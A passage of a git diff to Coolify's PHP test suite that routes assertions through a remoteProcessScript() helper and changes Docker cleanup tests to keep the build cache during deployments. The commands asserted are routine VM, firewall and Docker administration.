str_contains($process->command, 'virt-install') && str_contains($process->command, 'coolify-dev-debian-root')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh destroy') && ! str_contains($process->command, 'coolify-dev-debian-root')); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh undefine 'coolify-dev-debian-root'"); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install') && str_contains(remoteProcessScript($process), 'coolify-dev-debian-root')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh destroy') && ! str_contains(remoteProcessScript($process), 'coolify-dev-debian-root')); }); it('rejects qemu vm management outside development', function () { @@ -360,19 +360,19 @@ it('can create a vm without a host database connection', function () { ]); DB::enableQueryLog(); Process::fake(function ($process) { - if (str_contains($process->command, 'net-dumpxml')) { + if (str_contains(remoteProcessScript($process), 'net-dumpxml')) { return Process::result(output: ''); } - if (str_contains($process->command, 'network inspect')) { + if (str_contains(remoteProcessScript($process), 'network inspect')) { return Process::result(output: "172.18.0.0/16\n"); } - if (str_contains($process->command, 'virsh dominfo')) { + if (str_contains(remoteProcessScript($process), 'virsh dominfo')) { return Process::result(exitCode: 1); } - if (str_contains($process->command, 'iptables -C')) { + if (str_contains(remoteProcessScript($process), 'iptables -C')) { return Process::result(exitCode: 1); } @@ -382,14 +382,14 @@ it('can create a vm without a host database connection', function () { StartDevelopmentQemuVm::run('ubuntu-root'); expect(DB::getQueryLog())->toBeEmpty(); - Process::assertRan(fn ($process) => str_contains($process->command, 'virt-install')); - Process::assertRan(fn ($process) => str_contains($process->command, 'iptables -I LIBVIRT_FWI')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virsh domstate') && str_contains($process->command, 'shut off')); - Process::assertRan(fn ($process) => str_contains($process->command, 'mv ') && str_contains($process->command, 'prepared.qcow2')); - Process::assertRan(fn ($process) => str_contains($process->command, 'qemu-img create') && str_contains($process->command, 'prepared.qcow2')); - Process::assertRan(fn ($process) => str_contains($process->command, 'xorriso -as mkisofs -V cidata -graft-points')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virt-install') && str_contains($process->command, 'bus=virtio,readonly=on')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'mac_in_use')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'iptables -I LIBVIRT_FWI')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh domstate') && str_contains(remoteProcessScript($process), 'shut off')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mv ') && str_contains(remoteProcessScript($process), 'prepared.qcow2')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'qemu-img create') && str_contains(remoteProcessScript($process), 'prepared.qcow2')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'xorriso -as mkisofs -V cidata -graft-points')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install') && str_contains(remoteProcessScript($process), 'bus=virtio,readonly=on')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'mac_in_use')); $userData = File::get(config('development-qemu.storage_path').'/coolify-dev-ubuntu-root-user-data.yaml'); expect($userData)->toContain('docker compose version', 'docker buildx version', 'docker info', 'cloud-init.disabled'); $cloudInit = Yaml::parse($userData); @@ -410,10 +410,10 @@ it('reuses a prepared vm image without reinstalling docker', function () { StartDevelopmentQemuVm::run('ubuntu-root'); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'curl --fail --location')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virsh domstate')); - Process::assertRan(fn ($process) => str_contains($process->command, 'qemu-img create') && str_contains($process->command, 'coolify-dev-ubuntu-root-prepared.qcow2')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virt-install') && ! str_contains($process->command, '--cloud-init')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'curl --fail --location')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virsh domstate')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'qemu-img create') && str_contains(remoteProcessScript($process), 'coolify-dev-ubuntu-root-prepared.qcow2')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install') && ! str_contains(remoteProcessScript($process), '--cloud-init')); expect(File::exists("{$storagePath}/coolify-dev-ubuntu-root-prepared.qcow2"))->toBeTrue(); }); @@ -439,26 +439,26 @@ it('prepares alpine with the compose and buildx packages for a non-root user', f it('does not cache a vm when preparation does not finish', function () { config(['development-qemu.storage_path' => sys_get_temp_dir().'/coolify-qemu-failed-preparation-'.uniqid()]); Process::fake(function ($process) { - if (str_contains($process->command, 'net-dumpxml')) { + if (str_contains(remoteProcessScript($process), 'net-dumpxml')) { return Process::result(output: ''); } - if (str_contains($process->command, 'network inspect')) { + if (str_contains(remoteProcessScript($process), 'network inspect')) { return Process::result(output: "172.18.0.0/16\n"); } - if (str_contains($process->command, 'virsh dominfo')) { + if (str_contains(remoteProcessScript($process), 'virsh dominfo')) { return Process::result(exitCode: 1); } - return str_contains($process->command, 'timeout 900 bash') + return str_contains(remoteProcessScript($process), 'timeout 900 bash') ? Process::result(exitCode: 124) : Process::result(); }); expect(fn () => StartDevelopmentQemuVm::run('ubuntu-root'))->toThrow(RuntimeException::class); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'mv ') && str_contains($process->command, 'prepared.qcow2')); - Process::assertNotRan(fn ($process) => str_starts_with($process->command, 'virt-install ') && ! str_contains($process->command, 'readonly=on')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'mv ') && str_contains(remoteProcessScript($process), 'prepared.qcow2')); + Process::assertNotRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-install ') && ! str_contains(remoteProcessScript($process), 'readonly=on')); }); it('seeds through the coolify container when the host database is unavailable', function () { @@ -476,7 +476,7 @@ it('seeds through the coolify container when the host database is unavailable', ManageDevelopmentQemuVm::run('ubuntu-root'); - Process::assertRan(fn ($process) => str_contains($process->command, "docker exec 'coolify' php artisan dev:qemu:seed") && str_contains($process->command, 'ubuntu-root')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec 'coolify' php artisan dev:qemu:seed") && str_contains(remoteProcessScript($process), 'ubuntu-root')); }); it('passes localhost mode to the container when the host database is unavailable', function () { @@ -493,7 +493,7 @@ it('passes localhost mode to the container when the host database is unavailable ManageDevelopmentQemuVm::run('ubuntu-root', true); - Process::assertRan(fn ($process) => str_contains($process->command, 'dev:qemu:seed') && str_contains($process->command, '--as-localhost')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'dev:qemu:seed') && str_contains(remoteProcessScript($process), '--as-localhost')); }); it('starts and seeds root and non-root profiles together', function () { @@ -511,8 +511,8 @@ it('starts and seeds root and non-root profiles together', function () { 'development-qemu-ubuntu-root', 'development-qemu-ubuntu-non-root', ])->count())->toBe(2); - Process::assertRan(fn ($process) => str_contains($process->command, 'virt-install') && str_contains($process->command, 'coolify-dev-ubuntu-root')); - Process::assertRan(fn ($process) => str_contains($process->command, 'virt-install') && str_contains($process->command, 'coolify-dev-ubuntu-non-root')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install') && str_contains(remoteProcessScript($process), 'coolify-dev-ubuntu-root')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'virt-install') && str_contains(remoteProcessScript($process), 'coolify-dev-ubuntu-non-root')); }); it('seeds through the instance coolify container when the host database is unavailable', function () { @@ -532,9 +532,9 @@ it('seeds through the instance coolify container when the host database is unava ManageDevelopmentQemuVm::run('ubuntu-root'); - Process::assertRan(fn ($process) => str_contains($process->command, "docker exec 'coolify-fix-deploy-env' php artisan dev:qemu:seed")); - Process::assertRan(fn ($process) => str_contains($process->command, "docker exec 'coolify-fix-deploy-env' php -r")); - Process::assertNotRan(fn ($process) => str_contains($process->command, "docker exec 'coolify' ")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec 'coolify-fix-deploy-env' php artisan dev:qemu:seed")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec 'coolify-fix-deploy-env' php -r")); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec 'coolify' ")); }); it('resolves legacy values when no dev instance is configured', function () { @@ -600,12 +600,12 @@ it('configures the instance libvirt network and forwarding rule', function () { '', '', )->not->toContain('virbr0', '192.168.122'); - Process::assertRan(fn ($process) => $process->command === "virsh net-info 'coolify-dev-3'"); - Process::assertRan(fn ($process) => $process->command === "virsh net-start 'coolify-dev-3'"); - Process::assertRan(fn ($process) => $process->command === "virsh net-autostart 'coolify-dev-3'"); - Process::assertRan(fn ($process) => str_contains($process->command, "docker network inspect 'coolify-main'")); - Process::assertRan(fn ($process) => $process->command === "iptables -I LIBVIRT_FWI 1 -s '172.30.0.0/16' -d '10.221.3.0/24' -o 'cdevbr3' -j ACCEPT"); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'virbr0')); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh net-info 'coolify-dev-3'"); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh net-start 'coolify-dev-3'"); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh net-autostart 'coolify-dev-3'"); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker network inspect 'coolify-main'")); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "iptables -I LIBVIRT_FWI 1 -s '172.30.0.0/16' -d '10.221.3.0/24' -o 'cdevbr3' -j ACCEPT"); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'virbr0')); }); it('keeps the legacy libvirt network definition unchanged', function () { @@ -625,7 +625,7 @@ it('keeps the legacy libvirt network definition unchanged', function () { '', '', ); - Process::assertRan(fn ($process) => $process->command === "iptables -I LIBVIRT_FWI 1 -s '172.18.0.0/16' -d '192.168.122.0/24' -o 'virbr0' -j ACCEPT"); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "iptables -I LIBVIRT_FWI 1 -s '172.18.0.0/16' -d '192.168.122.0/24' -o 'virbr0' -j ACCEPT"); }); it('creates instance vms with instance domains, ips, and shared prepared images', function () { @@ -642,17 +642,17 @@ it('creates instance vms with instance domains, ips, and shared prepared images' StartDevelopmentQemuVm::run('ubuntu-root'); - Process::assertRan(fn ($process) => $process->command === "virsh dominfo 'coolify-dev-main--ubuntu-root'"); - Process::assertRan(fn ($process) => str_starts_with($process->command, "virsh net-update 'coolify-dev-3' add-last ip-dhcp-host") && str_contains($process->command, '52:54:00:ca:00:01') && str_contains($process->command, '10.221.3.10')); - Process::assertRan(fn ($process) => str_contains($process->command, 'qemu-img create') - && str_contains($process->command, "'{$storagePath}/coolify-dev-ubuntu-root-prepared.qcow2'") - && str_contains($process->command, "'{$storagePath}/coolify-dev-main--ubuntu-root.qcow2'")); - Process::assertRan(fn ($process) => str_starts_with($process->command, 'virt-install ') - && str_contains($process->command, "--name 'coolify-dev-main--ubuntu-root'") - && str_contains($process->command, "--network network='coolify-dev-3',model=virtio,mac='52:54:00:ca:00:01'") - && str_ends_with($process->command, '--check mac_in_use=off')); - Process::assertRan(fn ($process) => str_contains($process->command, "docker exec 'coolify-main' php -r") && str_contains($process->command, "'10.221.3.10'")); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'curl --fail --location')); + Process::assertRan(fn ($process) => remoteProcessScript($process) === "virsh dominfo 'coolify-dev-main--ubuntu-root'"); + Process::assertRan(fn ($process) => str_starts_with(remoteProcessScript($process), "virsh net-update 'coolify-dev-3' add-last ip-dhcp-host") && str_contains(remoteProcessScript($process), '52:54:00:ca:00:01') && str_contains(remoteProcessScript($process), '10.221.3.10')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'qemu-img create') + && str_contains(remoteProcessScript($process), "'{$storagePath}/coolify-dev-ubuntu-root-prepared.qcow2'") + && str_contains(remoteProcessScript($process), "'{$storagePath}/coolify-dev-main--ubuntu-root.qcow2'")); + Process::assertRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-install ') + && str_contains(remoteProcessScript($process), "--name 'coolify-dev-main--ubuntu-root'") + && str_contains(remoteProcessScript($process), "--network network='coolify-dev-3',model=virtio,mac='52:54:00:ca:00:01'") + && str_ends_with(remoteProcessScript($process), '--check mac_in_use=off')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec 'coolify-main' php -r") && str_contains(remoteProcessScript($process), "'10.221.3.10'")); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'curl --fail --location')); }); it('rejects invalid instance names and slots', function (string $instance, int $slot) { @@ -731,10 +731,10 @@ it('creates a vm with every function of the host nvidia gpu and more memory', fu StartDevelopmentQemuVm::run('ubuntu-root', true, true); - Process::assertRan(fn ($process) => $process->command === 'systemctl stop nvidia-persistenced'); - Process::assertRan(fn ($process) => str_starts_with($process->command, 'virt-install ') - && str_contains($process->command, '--memory 4096 ') - && str_contains($process->command, "--hostdev 'pci_0000_01_00_0' --hostdev 'pci_0000_01_00_1'")); + Process::assertRan(fn ($process) => remoteProcessScript($process) === 'systemctl stop nvidia-persistenced'); + Process::assertRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-install ') + && str_contains(remoteProcessScript($process), '--memory 4096 ') + && str_contains(remoteProcessScript($process), "--hostdev 'pci_0000_01_00_0' --hostdev 'pci_0000_01_00_1'")); }); it('stops an existing vm to attach the host gpu and starts it with the gpu memory', function () { @@ -742,16 +742,16 @@ it('stops an existing vm to attach the host gpu and starts it with the gpu memor $hostdevAttached = false; $ran = []; Process::fake(function ($process) use (&$hostdevAttached, &$ran) { - $ran[] = $process->command; - $hostdevAttached = $hostdevAttached || str_starts_with($process->command, 'virt-xml '); + $ran[] = remoteProcessScript($process); + $hostdevAttached = $hostdevAttached || str_starts_with(remoteProcessScript($process), 'virt-xml '); return match (true) { - str_contains($process->command, ' net-dumpxml ') => Process::result(output: ''), - str_contains($process->command, ' network inspect ') => Process::result(output: "172.18.0.0/16\n"), - str_contains($process->command, ' dominfo ') => Process::result(output: 'exists'), - str_contains($process->command, ' domstate ') => Process::result(output: $hostdevAttached ? "shut off\n" : "running\n"), - str_contains($process->command, ' dumpxml ') => Process::result(output: $hostdevAttached ? "" : ''), - str_starts_with($process->command, 'lspci ') => Process::result(output: "0000:01:00.0 \"0300\" \"10de\" \"2584\"\n0000:01:00.1 \"0403\" \"10de\" \"2291\"\n"), + str_contains(remoteProcessScript($process), ' net-dumpxml ') => Process::result(output: ''), + str_contains(remoteProcessScript($process), ' network inspect ') => Process::result(output: "172.18.0.0/16\n"), + str_contains(remoteProcessScript($process), ' dominfo ') => Process::result(output: 'exists'), + str_contains(remoteProcessScript($process), ' domstate ') => Process::result(output: $hostdevAttached ? "shut off\n" : "running\n"), + str_contains(remoteProcessScript($process), ' dumpxml ') => Process::result(output: $hostdevAttached ? "" : ''), + str_starts_with(remoteProcessScript($process), 'lspci ') => Process::result(output: "0000:01:00.0 \"0300\" \"10de\" \"2584\"\n0000:01:00.1 \"0403\" \"10de\" \"2291\"\n"), default => Process::result(), }; }); @@ -766,7 +766,7 @@ it('stops an existing vm to attach the host gpu and starts it with the gpu memor ->and($commands)->toContain("virt-xml 'coolify-dev-ubuntu-root' --add-device --hostdev 'pci_0000_01_00_1'") ->and($commands->search("virsh setmem 'coolify-dev-ubuntu-root' 4096M --config"))->toBeGreaterThan($attach) ->and($commands->search("virsh start 'coolify-dev-ubuntu-root'"))->toBeGreaterThan($commands->search('systemctl stop nvidia-persistenced')); - Process::assertNotRan(fn ($process) => str_starts_with($process->command, 'virt-install ')); + Process::assertNotRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-install ')); }); it('keeps the gpu memory of a gpu vm that starts without the gpu option', function () { @@ -777,8 +777,8 @@ it('keeps the gpu memory of a gpu vm that starts without the gpu option', functi Process::assertRan("virsh setmem 'coolify-dev-ubuntu-root' 4096M --config"); Process::assertRan('systemctl stop nvidia-persistenced'); - Process::assertNotRan(fn ($process) => str_starts_with($process->command, 'virt-xml ')); - Process::assertNotRan(fn ($process) => str_contains($process->command, '1024M')); + Process::assertNotRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-xml ')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), '1024M')); }); it('fails before it changes the vm when the host has no nvidia gpu', function () { @@ -793,7 +793,7 @@ it('fails before it changes the vm when the host has no nvidia gpu', function () expect(fn () => StartDevelopmentQemuVm::run('ubuntu-root', false, true)) ->toThrow(RuntimeException::class, 'No NVIDIA GPU found'); - Process::assertNotRan(fn ($process) => str_starts_with($process->command, 'virt-xml ') || str_contains($process->command, 'virsh start')); + Process::assertNotRan(fn ($process) => str_starts_with(remoteProcessScript($process), 'virt-xml ') || str_contains(remoteProcessScript($process), 'virsh start')); }); it('allows gpu passthrough only for one ubuntu root profile', function (array $profiles) { diff --git a/tests/Feature/DockerCleanupJobTest.php b/tests/Feature/DockerCleanupJobTest.php index d3c1b01b02..a12808c15b 100644 --- a/tests/Feature/DockerCleanupJobTest.php +++ b/tests/Feature/DockerCleanupJobTest.php @@ -70,7 +70,7 @@ function dockerCleanupFakeProcesses(?Closure $onRun = null): Collection { $commands = collect(); Process::fake(function ($process) use ($commands, $onRun) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); if ($onRun) { $onRun($command); @@ -455,7 +455,7 @@ it('cleans after a stop only when the disk usage reaches the server threshold', $server->settings()->update(['docker_cleanup_threshold' => 80]); $commands = collect(); Process::fake(function ($process) use ($commands, $diskUsage) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return Process::result(output: str_contains($command, 'df / --output=pcent') ? $diskUsage : ''); @@ -500,7 +500,7 @@ it('scans application images with a fixed number of remote commands and keeps th $commands = collect(); Process::fake(function ($process) use ($commands, $containers, $images) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return match (true) { @@ -662,7 +662,7 @@ it('keeps an application image name with a single quote inside the grep pattern' ->and(explode("\n", $output))->toBe(['rmi postgres:16']); })->with(['root user' => false, 'non-root user' => true]); -function dockerCleanupDeployment(Server $server, string $status, string $column = 'server_id', ?Carbon $updatedAt = null): void +function dockerCleanupDeployment(Server $server, string $status, string $column = 'server_id', ?Carbon $updatedAt = null): ApplicationDeploymentQueue { $deployment = ApplicationDeploymentQueue::create([ 'application_id' => '1', @@ -673,22 +673,45 @@ function dockerCleanupDeployment(Server $server, string $status, string $column if ($updatedAt) { $deployment->forceFill(['updated_at' => $updatedAt])->saveQuietly(); } + + return $deployment; } -it('skips a forced scheduled cleanup while a deployment is queued or running on the server, so the build cache is not pruned', function (string $status, string $column) { +/** + * @param Collection $commands + */ +function dockerCleanupPrunedBuildCache(Collection $commands): bool +{ + return $commands->contains(fn (string $command) => str_contains($command, 'docker builder prune') || str_contains($command, 'docker buildx prune')); +} + +/** + * @param Collection $commands + */ +function dockerCleanupPrunedImagesAndContainers(Collection $commands): bool +{ + return $commands->contains(fn (string $command) => str_contains($command, 'docker image prune -f')) + && $commands->contains(fn (string $command) => str_contains($command, 'xargs -r docker rm')); +} + +it('cleans a forced scheduled cleanup while a deployment is queued or running on the server, but keeps the build cache', function (string $status, string $column) { Notification::fake(); Event::fake([DockerCleanupDone::class]); $server = dockerCleanupReachableServer(); $server->settings()->update(['force_docker_cleanup' => true]); - dockerCleanupDeployment($server, $status, $column); + $deployment = dockerCleanupDeployment($server, $status, $column); $commands = dockerCleanupFakeProcesses(); (new DockerCleanupJob($server->fresh()))->handle(); $execution = DockerCleanupExecution::query()->sole(); - expect($commands->contains(fn (string $command) => str_contains($command, 'prune')))->toBeFalse() + expect(dockerCleanupPrunedImagesAndContainers($commands))->toBeTrue() + ->and(dockerCleanupPrunedBuildCache($commands))->toBeFalse() ->and($execution->status)->toBe('success') - ->and($execution->message)->toContain('skipped') + ->and($execution->message)->toContain('Forced Docker cleanup') + ->and($execution->message)->toContain('build cache was not pruned') + ->and($execution->message)->toContain($deployment->deployment_uuid) + ->and(collect(json_decode($execution->cleanup_log, true))->pluck('output')->implode("\n"))->toContain($deployment->deployment_uuid) ->and($execution->finished_at)->not->toBeNull(); })->with([ 'running on the server' => ['in_progress', 'server_id'], @@ -696,6 +719,27 @@ it('skips a forced scheduled cleanup while a deployment is queued or running on 'building on the server' => ['in_progress', 'build_server_id'], ]); +it('cleans a scheduled cleanup above the disk threshold while a deployment is running, but keeps the build cache', function () { + Notification::fake(); + Event::fake([DockerCleanupDone::class]); + $server = dockerCleanupReachableServer(); + $server->settings()->update(['force_docker_cleanup' => false, 'docker_cleanup_threshold' => 80]); + dockerCleanupDeployment($server, 'in_progress'); + $commands = collect(); + Process::fake(function ($process) use ($commands) { + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); + $commands->push($command); + + return Process::result(output: str_contains($command, 'df / --output=pcent') ? '90' : ''); + }); + + (new DockerCleanupJob($server->fresh()))->handle(); + + expect(dockerCleanupPrunedImagesAndContainers($commands))->toBeTrue() + ->and(dockerCleanupPrunedBuildCache($commands))->toBeFalse() + ->and(DockerCleanupExecution::query()->sole()->message)->toContain('build cache was not pruned'); +}); + it('runs a forced scheduled cleanup when the only deployments are finished, on another server, or stuck', function () { Notification::fake(); Event::fake([DockerCleanupDone::class]); @@ -724,15 +768,17 @@ it('runs a manual cleanup while a deployment is running, because the user starte expect($commands->contains(fn (string $command) => str_contains($command, 'docker builder prune')))->toBeTrue(); }); -it('does not clean after a stop while a deployment is running on the server', function () { +it('cleans after a stop while a deployment is running on the server, but keeps the build cache', function () { $server = dockerCleanupReachableServer(); $server->settings()->update(['docker_cleanup_threshold' => 10]); dockerCleanupDeployment($server, 'in_progress'); $commands = dockerCleanupFakeProcesses(); - expect(CleanupDocker::run($server->fresh(), false, false, true))->toBe([]) - ->and($commands)->toBeEmpty() - ->and(Cache::has(CleanupDocker::lastRunCacheKey($server)))->toBeFalse(); + CleanupDocker::run($server->fresh(), false, false, true); + + expect(dockerCleanupPrunedImagesAndContainers($commands))->toBeTrue() + ->and(dockerCleanupPrunedBuildCache($commands))->toBeFalse() + ->and(Cache::has(CleanupDocker::lastRunCacheKey($server)))->toBeTrue(); }); /** @@ -747,7 +793,7 @@ function dockerCleanupImageRemovals(Server $server, array $containers, array $im { $commands = collect(); Process::fake(function ($process) use ($commands, $containers, $images) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return match (true) { diff --git a/tests/Feature/DockerVersionStorageTest.php b/tests/Feature/DockerVersionStorageTest.php index 4f99e382fc..74a5a29b46 100644 --- a/tests/Feature/DockerVersionStorageTest.php +++ b/tests/Feature/DockerVersionStorageTest.php @@ -117,7 +117,7 @@ it('stores a parsed compose version on the server settings', function () { it('records docker and compose versions during connection checks', function () { $server = createServerForDockerVersionStorageTest(); - Process::fake([ + fakeRemoteProcesses([ '*compose*' => Process::result(output: 'v2.32.4', exitCode: 0), '*' => Process::result( output: '{"Server":{"Version":"29.4.3"}}', diff --git a/tests/Feature/EnvironmentVariable/RefreshEnvsTargetingTest.php b/tests/Feature/EnvironmentVariable/RefreshEnvsTargetingTest.php index b58c017626..d14cbb52e5 100644 --- a/tests/Feature/EnvironmentVariable/RefreshEnvsTargetingTest.php +++ b/tests/Feature/EnvironmentVariable/RefreshEnvsTargetingTest.php @@ -74,7 +74,7 @@ test('reloading the compose file refreshes only the environment variable list', 'docker_compose_location' => '/docker-compose.yml', ]); Process::fake(function ($process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'git cat-file blob')) { return Process::result(output: "services:\n web:\n image: nginx:alpine\n"); } diff --git a/tests/Feature/FileDownloadStorageTest.php b/tests/Feature/FileDownloadStorageTest.php index 2cf526c1c0..75436da765 100644 --- a/tests/Feature/FileDownloadStorageTest.php +++ b/tests/Feature/FileDownloadStorageTest.php @@ -167,7 +167,7 @@ it('uploads to S3, stores the link, and queues the delete', function () { (new PrepareFileDownloadJob('dl-1', 7, $server->id, 'app-123', '/data/a.txt', false, 'a.txt', $this->storage->id))->handle($downloads); expect(Cache::get(PrepareFileDownloadJob::cacheKey('dl-1')))->toBe(['user_id' => 7, 'status' => 'ready', 'url' => 'https://s3.example.com/get']); - Process::assertRan(fn ($process) => str_contains($process->command, 'https://s3.example.com/put')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'https://s3.example.com/put')); Bus::assertDispatched(DeleteFileDownloadJob::class, fn (DeleteFileDownloadJob $job) => $job->s3StorageId === $this->storage->id && str_starts_with($job->key, FileDownloadStorageService::PREFIX) && $job->delay->equalTo(now()->addHours(6))); diff --git a/tests/Feature/GeneratedComposeOutsideBuildContextTest.php b/tests/Feature/GeneratedComposeOutsideBuildContextTest.php index 4b3f1413db..4c47a1169e 100644 --- a/tests/Feature/GeneratedComposeOutsideBuildContextTest.php +++ b/tests/Feature/GeneratedComposeOutsideBuildContextTest.php @@ -56,7 +56,7 @@ beforeEach(function () { $this->commands = collect(); Process::fake(function (PendingProcess $process) { - $command = (string) $process->command; + $command = remoteProcessScript($process); $this->commands->push($command); return Process::result(output: match (true) { diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php index c2ff1eb50b..ca04c917a7 100644 --- a/tests/Feature/GetLogsCommandInjectionTest.php +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -81,7 +81,7 @@ describe('GetLogs Livewire action validation', function () { ])->save(); $server = Server::with('settings')->findOrFail($this->server->id); - Process::fake(['*' => Process::result(output: 'all logs')]); + fakeRemoteProcesses(['*' => Process::result(output: 'all logs')]); Livewire::test(GetLogs::class, [ 'server' => $server, @@ -94,7 +94,7 @@ describe('GetLogs Livewire action validation', function () { ->assertSet('numberOfLines', -1) ->assertReturned('all logs'); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker logs -n all -t test-container')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker logs -n all -t test-container')); }); test('getLogs marks ANSI-colored output truncated based on raw bytes', function () { @@ -108,7 +108,7 @@ describe('GetLogs Livewire action validation', function () { expect(strlen($output))->toBe(GetLogs::MAX_DISPLAY_SIZE_BYTES + 1); - Process::fake(['*' => Process::result(output: $output)]); + fakeRemoteProcesses(['*' => Process::result(output: $output)]); $component = new GetLogs; $component->server = $server; @@ -195,7 +195,7 @@ describe('GetLogs browser-rendered output', function () { }); test('getLogs returns timestamped output without storing it in component state', function () { - Process::fake(['*' => Process::result(output: "2026-09-28T10:00:02Z second\n2026-09-28T10:00:01Z first")]); + fakeRemoteProcesses(['*' => Process::result(output: "2026-09-28T10:00:02Z second\n2026-09-28T10:00:01Z first")]); $component = Livewire::test(GetLogs::class, [ 'server' => $this->functionalServer, @@ -207,11 +207,11 @@ describe('GetLogs browser-rendered output', function () { ->assertReturned("2026-09-28T10:00:01Z first\n2026-09-28T10:00:02Z second"); expect($component->instance())->not->toHaveProperty('outputs'); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker logs -n 100 -t test-container')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker logs -n 100 -t test-container')); }); test('getLogs only requests new lines when streaming from a timestamp', function () { - Process::fake(['*' => Process::result(output: '2026-09-28T10:00:03Z new')]); + fakeRemoteProcesses(['*' => Process::result(output: '2026-09-28T10:00:03Z new')]); Livewire::test(GetLogs::class, [ 'server' => $this->functionalServer, @@ -221,12 +221,12 @@ describe('GetLogs browser-rendered output', function () { ->call('getLogs', '2026-09-28T10:00:02.123456789Z') ->assertReturned('2026-09-28T10:00:03Z new'); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker logs --since 2026-09-28T10:00:02.123456789Z -t test-container')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker logs --since 2026-09-28T10:00:02.123456789Z -t test-container')); }); test('getLogs prefixes the streaming command with sudo for non-root servers', function () { $this->functionalServer->update(['user' => 'ubuntu']); - Process::fake(['*' => Process::result(output: '')]); + fakeRemoteProcesses(['*' => Process::result(output: '')]); Livewire::test(GetLogs::class, [ 'server' => $this->functionalServer->fresh(['settings']), @@ -234,11 +234,11 @@ describe('GetLogs browser-rendered output', function () { 'container' => 'test-container', ])->call('getLogs', '2026-09-28T10:00:02Z'); - Process::assertRan(fn ($process) => str_contains($process->command, '(sudo docker logs --since 2026-09-28T10:00:02Z -t test-container) 2>&1 | head -c')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), '(sudo docker logs --since 2026-09-28T10:00:02Z -t test-container) 2>&1 | head -c')); }); test('getLogs ignores a since value that is not a docker timestamp', function (string $since) { - Process::fake(['*' => Process::result(output: 'logs')]); + fakeRemoteProcesses(['*' => Process::result(output: 'logs')]); Livewire::test(GetLogs::class, [ 'server' => $this->functionalServer, @@ -246,8 +246,8 @@ describe('GetLogs browser-rendered output', function () { 'container' => 'test-container', ])->call('getLogs', $since); - Process::assertRan(fn 